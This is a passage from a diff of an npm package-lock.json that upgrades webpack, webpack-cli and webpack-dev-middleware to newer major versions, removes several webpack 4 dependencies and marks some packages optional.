"sha512-zoWr9ObaxALD3DOPfjPSqxt4fnZiWblxHIgeWqW8x7UqDzEtHEQLzji2cuJYQFCU6KmoJikOYAZlrTHHebjx2w==", - "dev": true, - "requires": { - "imurmurhash": "^0.1.4" - } - }, "unist-util-find-all-after": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/unist-util-find-all-after/-/unist-util-find-all-after-3.0.2.tgz", @@ -16354,6 +15800,7 @@ "resolved": "https://registry.npmjs.org/unset-value/-/unset-value-1.0.0.tgz", "integrity": "sha1-g3aHP30jNRef+x5vw6jtDfyKtVk=", "dev": true, + "optional": true, "requires": { "has-value": "^0.3.1", "isobject": "^3.0.0" @@ -16364,6 +15811,7 @@ "resolved": "https://registry.npmjs.org/has-value/-/has-value-0.3.1.tgz", "integrity": "sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=", "dev": true, + "optional": true, "requires": { "get-value": "^2.0.3", "has-values": "^0.1.4", @@ -16375,6 +15823,7 @@ "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz", "integrity": "sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=", "dev": true, + "optional": true, "requires": { "isarray": "1.0.0" } @@ -16385,7 +15834,8 @@ "version": "0.1.4", "resolved": "https://registry.npmjs.org/has-values/-/has-values-0.1.4.tgz", "integrity": "sha1-bWHeldkd/Km5oCCJrThL/49it3E=", - "dev": true + "dev": true, + "optional": true } } }, @@ -16399,7 +15849,8 @@ "version": "1.2.0", "resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz", "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==", - "dev": true + "dev": true, + "optional": true }, "upper-case": { "version": "1.1.3", @@ -16419,7 +15870,8 @@ "version": "0.1.0", "resolved": "https://registry.npmjs.org/urix/-/urix-0.1.0.tgz", "integrity": "sha1-2pN/emLiH+wf0Y1Js1wpNQZ6bHI=", - "dev": true + "dev": true, + "optional": true }, "url": { "version": "0.11.0", @@ -16463,38 +15915,12 @@ } } }, - "url-parse": { - "version": "1.5.3", - "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.3.tgz", - "integrity": "sha512-IIORyIQD9rvj0A4CLWsHkBBJuNqWpFQe224b6j9t/ABmquIS0qDU2pY6kl6AuOrL5OkCXHMCFNe1jBcuAggjvQ==", - "dev": true, - "requires": { - "querystringify": "^2.1.1", - "requires-port": "^1.0.0" - } - }, "use": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/use/-/use-3.1.1.tgz", "integrity": "sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ==", - "dev": true - }, - "util": { - "version": "0.11.1", - "resolved": "https://registry.npmjs.org/util/-/util-0.11.1.tgz", - "integrity": "sha512-HShAsny+zS2TZfaXxD9tYj4HQGlBezXZMZuM/S5PKLLoZkShZiGk9o5CzukI1LVHZvjdvZ2Sj1aW/Ndn2NB/HQ==", "dev": true, - "requires": { - "inherits": "2.0.3" - }, - "dependencies": { - "inherits": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", - "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=", - "dev": true - } - } + "optional": true }, "util-deprecate": { "version": "1.0.2", @@ -16502,16 +15928,6 @@ "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=", "dev": true }, - "util.promisify": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/util.promisify/-/util.promisify-1.0.0.tgz", - "integrity": "sha512-i+6qA2MPhvoKLuxnJNpXAGhg7HphQOSUq2LKMZD0m15EiskXUkMvKdF4Uui0WYeCUGea+o2cw/ZuwehtfsrNkA==", - "dev": true, - "requires": { - "define-properties": "^1.1.2", - "object.getownpropertydescriptors": "^2.0.3" - } - }, "utila": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/utila/-/utila-0.4.0.tgz", @@ -16638,12 +16054,6 @@ "resolved": "https://registry.npmjs.org/vis-uuid/-/vis-uuid-1.1.3.tgz", "integrity": "sha512-2B6XdY1bkzbUh+TugmnAaFa61KO9R5pzBzIuFIm8a9FrkbxIdSmQXV+FbfkL8QunkQV/bT0JDLQ2puqCS2+0Og==" }, - "vm-browserify": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/vm-browserify/-/vm-browserify-1.1.2.tgz", - "integrity": "sha512-2ham8XPWTONajOR0ohOKOHXkm3+gaBmGut3SRuu75xLd/RRaY6vqgh8NBYYk7+RW3u5AtzPQZG8F10LHkl0lAQ==", - "dev": true - }, "warning": { "version": "4.0.3", "resolved": "https://registry.npmjs.org/warning/-/warning-4.0.3.tgz", @@ -16653,136 +16063,13 @@ } }, "watchpack": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-1.7.5.tgz", - "integrity": "sha512-9P3MWk6SrKjHsGkLT2KHXdQ/9SNkyoJbabxnKOoJepsvJjJG8uYTR3yTPxPQvNDI3w4Nz1xnE0TLHK4RIVe/MQ==", + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.2.0.tgz", + "integrity": "sha512-up4YAn/XHgZHIxFBVCdlMiWDj6WaLKpwVeGQk2I5thdYxF/KmF0aaz6TfJZ/hfl1h/XlcDr7k1KH7ThDagpFaA==", "dev": true, "requires": { - "chokidar": "^3.4.1", - "graceful-fs": "^4.1.2", - "neo-async": "^2.5.0", - "watchpack-chokidar2": "^2.0.1" - }, - "dependencies": { - "anymatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz", - "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==", - "dev": true, - "optional": true, - "requires": { - "normalize-path": "^3.0.0", - "picomatch": "^2.0.4" - } - }, - "binary-extensions": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", - "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", - "dev": true, - "optional": true - }, - "braces": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", - "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", - "dev": true, - "optional": true, - "requires": { - "fill-range": "^7.0.1" - } - }, - "chokidar": { - "version": "3.5.1", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.1.tgz", - "integrity": "sha512-9+s+Od+W0VJJzawDma/gvBNQqkTiqYTWLuZoyAsivsI4AaWTCzHG06/TMjsf1cYe9Cb97UCEhjz7HvnPk2p/tw==", - "dev": true, - "optional": true, - "requires": { - "anymatch": "~3.1.1", - "braces": "~3.0.2", - "fsevents": "~2.3.1", - "glob-parent": "~5.1.0", - "is-binary-path": "~2.1.0", - "is-glob": "~4.0.1", - "normalize-path": "~3.0.0", - "readdirp": "~3.5.0" - } - }, - "fill-range": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", - "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", - "dev": true, - "optional": true, - "requires": { - "to-regex-range": "^5.0.1" - } - }, - "fsevents": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", - "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", - "dev": true, - "optional": true - }, - "glob-parent": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", - "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", - "dev": true, - "optional": true, - "requires": { - "is-glob": "^4.0.1" - } - }, - "is-binary-path": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", - "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", - "dev": true, - "optional": true, - "requires": { - "binary-extensions": "^2.0.0" - } - }, - "is-number": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", - "dev": true, - "optional": true - }, - "readdirp": { - "version": "3.5.0", - "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.5.0.tgz", - "integrity": "sha512-cMhu7c/8rdhkHXWsY+osBhfSy0JikwpHK/5+imo+LpeasTF8ouErHrlYkwT0++njiyuDvc7OFY5T3ukvZ8qmFQ==", - "dev": true, - "optional": true, - "requires": { - "picomatch": "^2.2.1" - } - }, - "to-regex-range": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", - "dev": true, - "optional": true, - "requires": { - "is-number": "^7.0.0" - } - } - } - }, - "watchpack-chokidar2": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/watchpack-chokidar2/-/watchpack-chokidar2-2.0.1.tgz", - "integrity": "sha512-nCFfBIPKr5Sh61s4LPpy1Wtfi0HE8isJ3d2Yb5/Ppw2P2B/3eVSEBjKfN0fmHJSK14+31KwMKmcrzs2GM4P0Ww==", - "dev": true, - "optional": true, - "requires": { - "chokidar": "^2.1.8" + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.1.2" } }, "wbuf": { @@ -16795,245 +16082,500 @@ } }, "webpack": { - "version": "4.46.0", - "resolved": "https://registry.npmjs.org/webpack/-/webpack-4.46.0.tgz", - "integrity": "sha512-6jJuJjg8znb/xRItk7bkT0+Q7AHCYjjFnvKIWQPkNIOyRqoCGvkOs0ipeQzrqz4l5FtN5ZI/ukEHroeX/o1/5Q==", + "version": "5.53.0", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.53.0.tgz", + "integrity": "sha512-RZ1Z3z3ni44snoWjfWeHFyzvd9HMVYDYC5VXmlYUT6NWgEOWdCNpad5Fve2CzzHoRED7WtsKe+FCyP5Vk4pWiQ==", "dev": true, "requires": { - "@webassemblyjs/ast": "1.9.0", - "@webassemblyjs/helper-module-context": "1.9.0", - "@webassemblyjs/wasm-edit": "1.9.0", - "@webassemblyjs/wasm-parser": "1.9.0", - "acorn": "^6.4.1", - "ajv": "^6.10.2", - "ajv-keywords": "^3.4.1", + "@types/eslint-scope": "^3.7.0", + "@types/estree": "^0.0.50", + "@webassemblyjs/ast": "1.11.1", + "@webassemblyjs/wasm-edit": "1.11.1", + "@webassemblyjs/wasm-parser": "1.11.1", + "acorn": "^8.4.1", + "acorn-import-assertions": "^1.7.6", + "browserslist": "^4.14.5", "chrome-trace-event": "^1.0.2", - "enhanced-resolve": "^4.5.0", - "eslint-scope": "^4.0.3", + "enhanced-resolve": "^5.8.0", + "es-module-lexer": "^0.7.1", + "eslint-scope": "5.1.1", + "events": "^3.2.0", + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.2.4", "json-parse-better-errors": "^1.0.2", - "loader-runner": "^2.4.0", - "loader-utils": "^1.2.3", - "memory-fs": "^0.4.1", - "micromatch": "^3.1.10", - "mkdirp": "^0.5.3", - "neo-async": "^2.6.1", - "node-libs-browser": "^2.2.1", - "schema-utils": "^1.0.0", - "tapable": "^1.1.3", - "terser-webpack-plugin": "^1.4.3", - "watchpack": "^1.7.4", - "webpack-sources": "^1.4.1" + "loader-runner": "^4.2.0", + "mime-types": "^2.1.27", + "neo-async": "^2.6.2", + "schema-utils": "^3.1.0", + "tapable": "^2.1.1", + "terser-webpack-plugin": "^5.1.3", + "watchpack": "^2.2.0", + "webpack-sources": "^3.2.0" }, "dependencies": { - "acorn": { - "version": "6.4.2", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-6.4.2.tgz", - "integrity": "sha512-XtGIhXwF8YM8bJhGxG5kXgjkEuNGLTkoYqVE+KMR+aspr4KGYmKYg7yUe3KghyQ9yheNwLnjmzh/7+gfDBmHCQ==", + "@types/json-schema": { + "version": "7.0.9", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.9.tgz", + "integrity": "sha512-qcUXuemtEu+E5wZSJHNxUXeCZhAfXKQ41D+duX+VYPde7xyEVZci+/oXKJL13tnRs9lR2pr4fod59GT6/X1/yQ==", "dev": true }, - "eslint-scope": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-4.0.3.tgz", - "integrity": "sha512-p7VutNr1O/QrxysMo3E45FjYDTeXBy0iTltPFNSqKAIfjDSXC+4dj+qfyuD8bfAXrW/y6lW3O76VaYNPKfpKrg==", + "acorn": { + "version": "8.5.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.5.0.tgz", + "integrity": "sha512-yXbYeFy+jUuYd3/CDcg2NkIYE991XYX/bje7LmjJigUciaeO1JR4XxXgCIV1/Zc/dRuFEyw1L0pbA+qynJkW5Q==", + "dev": true + }, + "ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", "dev": true, "requires": { - "esrecurse": "^4.1.0", + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "dev": true + }, + "enhanced-resolve": { + "version": "5.8.2", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.8.2.tgz", + "integrity": "sha512-F27oB3WuHDzvR2DOGNTaYy0D5o0cnrv8TeI482VM4kYgQd/FT9lUQwuNsJ0oOHtBUq7eiW5ytqzp7nBFknL+GA==", + "dev": true, + "requires": { + "graceful-fs": "^4.2.4", + "tapable": "^2.2.0" + } + }, + "eslint-scope": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "dev": true, + "requires": { + "esrecurse": "^4.3.0", "estraverse": "^4.1.1" } }, - "schema-utils": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz", - "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==", + "esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", "dev": true, "requires": { - "ajv": "^6.1.0", - "ajv-errors": "^1.0.0", - "ajv-keywords": "^3.1.0" + "estraverse": "^5.2.0" + }, + "dependencies": { + "estraverse": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.2.0.tgz", + "integrity": "sha512-BxbNGGNm0RyRYvUdHpIwv9IWzeM9XClbOxwoATuFdOE7ZE6wHL+HQ5T8hoPM+zHvmKzzsEqhgy0GrQ5X13afiQ==", + "dev": true + } } + }, + "neo-async": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", + "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==", + "dev": true + }, + "schema-utils": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", + "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", + "dev": true, + "requires": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + } + }, + "tapable": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.1.tgz", + "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==", + "dev": true } } }, "webpack-cli": { - "version": "3.3.12", - "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-3.3.12.tgz", - "integrity": "sha512-NVWBaz9k839ZH/sinurM+HcDvJOTXwSjYp1ku+5XKeOC03z8v5QitnK/x+lAxGXFyhdayoIf/GOpv85z3/xPag==", + "version": "4.8.0", + "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-4.8.0.tgz", + "integrity": "sha512-+iBSWsX16uVna5aAYN6/wjhJy1q/GKk4KjKvfg90/6hykCTSgozbfz5iRgDTSJt/LgSbYxdBX3KBHeobIs+ZEw==", "dev": true, "requires": { - "chalk": "^2.4.2", - "cross-spawn": "^6.0.5", - "enhanced-resolve": "^4.1.1", - "findup-sync": "^3.0.0", - "global-modules": "^2.0.0", - "import-local": "^2.0.0", - "interpret": "^1.4.0", - "loader-utils": "^1.4.0", - "supports-color": "^6.1.0", - "v8-compile-cache": "^2.1.1", - "yargs": "^13.3.2" + "@discoveryjs/json-ext": "^0.5.0", + "@webpack-cli/configtest": "^1.0.4", + "@webpack-cli/info": "^1.3.0", + "@webpack-cli/serve": "^1.5.2", + "colorette": "^1.2.1", + "commander": "^7.0.0", + "execa": "^5.0.0", + "fastest-levenshtein": "^1.0.12", + "import-local": "^3.0.2", + "interpret": "^2.2.0", + "rechoir": "^0.7.0", + "v8-compile-cache": "^2.2.0", + "webpack-merge": "^5.7.3" }, "dependencies": { + "commander": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "dev": true + }, "cross-spawn": { - "version": "6.0.5", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", - "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", + "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", "dev": true, "requires": { - "nice-try": "^1.0.4", - "path-key": "^2.0.1", - "semver": "^5.5.0", - "shebang-command": "^1.2.0", - "which": "^1.2.9" + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" } }, - "supports-color": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.1.0.tgz", - "integrity": "sha512-qe1jfm1Mg7Nq/NSh6XE24gPXROEVsWHxC1LIx//XNlD9iw7YZQGjZNjYN7xGaEG6iKdA8EtNFW6R0gjnVXp+wQ==", + "execa": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/execa/-/execa-5.1.1.tgz", + "integrity": "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==", "dev": true, "requires": { - "has-flag": "^3.0.0" + "cross-spawn": "^7.0.3", + "get-stream": "^6.0.0", + "human-signals": "^2.1.0", + "is-stream": "^2.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^4.0.1", + "onetime": "^5.1.2", + "signal-exit": "^3.0.3", + "strip-final-newline": "^2.0.0" } }, + "find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "dev": true, + "requires": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + } + }, + "get-stream": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", + "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", + "dev": true + }, + "import-local": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/import-local/-/import-local-3.0.2.tgz", + "integrity": "sha512-vjL3+w0oulAVZ0hBHnxa/Nm5TAurf9YLQJDhqRZyqb+VKGOB6LU8t9H1Nr5CIo16vh9XfJTOoHwU0B71S557gA==", + "dev": true, + "requires": { + "pkg-dir": "^4.2.0", + "resolve-cwd": "^3.0.0" + } + }, + "is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "dev": true + }, + "locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "dev": true, + "requires": { + "p-locate": "^4.1.0" + } + }, + "npm-run-path": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz", + "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==", + "dev": true, + "requires": { + "path-key": "^3.0.0" + } + }, + "onetime": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", + "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", + "dev": true, + "requires": { + "mimic-fn": "^2.1.0" + } + }, + "p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "dev": true, + "requires": { + "p-limit": "^2.2.0" + } + }, + "path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true + }, + "path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true + }, + "pkg-dir": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", + "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", + "dev": true, + "requires": { + "find-up": "^4.0.0" + } + }, + "resolve-cwd": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-3.0.0.tgz", + "integrity": "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==", + "dev": true, + "requires": { + "resolve-from": "^5.0.0" + } + }, + "resolve-from": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", + "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", + "dev": true + }, + "shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, + "requires": { + "shebang-regex": "^3.0.0" + } + }, + "shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true + }, "v8-compile-cache": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.3.0.tgz", "integrity": "sha512-l8lCEmLcLYZh4nbunNZvQCJc5pv7+RCwa8q/LdUx8u7lsWvPDKmpodJAJNwkAhJC//dFY48KuIEmjtd4RViDrA==", "dev": true + }, + "which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "requires": { + "isexe": "^2.0.0" + } } } }, "webpack-dev-middleware": { - "version": "3.7.2", - "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-3.7.2.tgz", - "integrity": "sha512-1xC42LxbYoqLNAhV6YzTYacicgMZQTqRd27Sim9wn5hJrX3I5nxYy1SxSd4+gjUFsz1dQFj+yEe6zEVmSkeJjw==", + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-5.1.0.tgz", + "integrity": "sha512-oT660AR1gOnU/NTdUQi3EiGR0iXG7CFxmKsj3ylWCBA2khJ8LFHK+sKv3BZEsC11gl1eChsltRhzUq7nWj7XIQ==", "dev": true, "requires": { - "memory-fs": "^0.4.1", - "mime": "^2.4.4", - "mkdirp": "^0.5.1", + "colorette": "^1.2.2", + "memfs": "^3.2.2", + "mime-types": "^2.1.31", "range-parser": "^1.2.1", - "webpack-log": "^2.0.0" + "schema-utils": "^3.1.0" + }, + "dependencies": { + "@types/json-schema": { + "version": "7.0.9", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.9.tgz", + "integrity": "sha512-qcUXuemtEu+E5wZSJHNxUXeCZhAfXKQ41D+duX+VYPde7xyEVZci+/oXKJL13tnRs9lR2pr4fod59GT6/X1/yQ==", + "dev": true + }, + "ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "dev": true, + "requires": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": 